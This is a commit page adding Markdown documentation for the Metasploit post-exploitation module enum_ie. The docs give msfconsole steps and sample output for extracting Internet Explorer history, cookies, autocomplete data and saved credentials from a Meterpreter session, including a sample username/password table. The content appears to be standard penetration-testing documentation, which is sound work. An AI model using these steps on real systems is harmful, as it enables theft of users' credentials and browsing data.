Skip to content

Commit 1cb68c6

Browse files
h00dieh00die
committed
Land rapid7#7515, docs for enum_ie
Adds markdown docs for postwindows/gather/enum_ie. Thanks @daniel-wer Fixes rapid7#7146
2 parents a924981 + 1760cc9 commit 1cb68c6

File tree

1 file changed

+106
-0
lines changed
  • documentation/modules/post/windows/gather

1 file changed

+106
-0
lines changed

‎documentation/modules/post/windows/gather/enum_ie.md

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
## Vulnerable Application
2+
3+
This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well.
4+
5+
## Verification Steps
6+
7+
1. Start `msfconsole`
8+
2. Get meterpreter session
9+
3. Do: `use post/windows/gather/enum_ie`
10+
4. Do: `set SESSION <session id>`
11+
5. Do: `run`
12+
6. You should be able to see the extracted IE browser data in the loot files
13+
14+
## Options
15+
16+
- **SESSION** - The session to run the module on.
17+
18+
## Extracted data
19+
20+
- History
21+
- Cookies
22+
- Autocomplete data
23+
- Credentials **(only for >= IE7)**
24+
- HTTP auth credentials
25+
- Saved form credentials
26+
27+
## Example Scenario
28+
29+
**Using the module with an earlier version than IE7 (IE6)**
30+
31+
In this scenario the module won't be able to extract credential data.
32+
33+
```
34+
msf exploit(handler) > use post/windows/gather/enum_ie
35+
msf post(enum_ie) > set SESSION 1
36+
SESSION => 1
37+
msf post(enum_ie) > run
38+
39+
[*] IE Version: 6.0.2900.5512
40+
[-] This module will only extract credentials for >= IE7
41+
[*] Retrieving history.....
42+
File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat
43+
[*] Retrieving cookies.....
44+
File: C:\Documents and Settings\user\Cookies\index.dat
45+
[*] Looping through history to find autocomplete data....
46+
[-] No autocomplete entries found in registry
47+
[*] Looking in the Credential Store for HTTP Authentication Creds...
48+
[*] Writing history to loot...
49+
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt
50+
[*] Writing cookies to loot...
51+
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt
52+
[*] Post module execution completed
53+
```
54+
55+
**Using the module with IE7+ (IE8)**
56+
57+
In this scenario the module will try to extract credential data, display it in the console and save it in a loot file.
58+
59+
```
60+
msf exploit(handler) > use post/windows/gather/enum_ie
61+
msf post(enum_ie) > set SESSION 1
62+
SESSION => 1
63+
msf post(enum_ie) > run
64+
65+
[*] IE Version: 8.0.7601.17514
66+
[*] Retrieving history.....
67+
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
68+
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat
69+
[*] Retrieving cookies.....
70+
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
71+
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat
72+
[*] Looping through history to find autocomplete data....
73+
[*] Looking in the Credential Store for HTTP Authentication Creds...
74+
[*] Writing history to loot...
75+
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt
76+
[*] Writing cookies to loot...
77+
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt
78+
[*] Writing gathered credentials to loot...
79+
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt
80+
81+
Credential data
82+
===============
83+
84+
Type Url User Pass
85+
---- --- ---- ----
86+
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
87+
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
88+
89+
[*] Post module execution completed
90+
```
91+
92+
The extracted history data would in both scenarios for example look like this:
93+
94+
```
95+
History data
96+
============
97+
98+
Date Modified Date Accessed Url
99+
------------- ------------- ---
100+
2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home
101+
2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407
102+
2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt
103+
2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
104+
2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt
105+
2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt
106+
```

0 commit comments

Comments
 (0)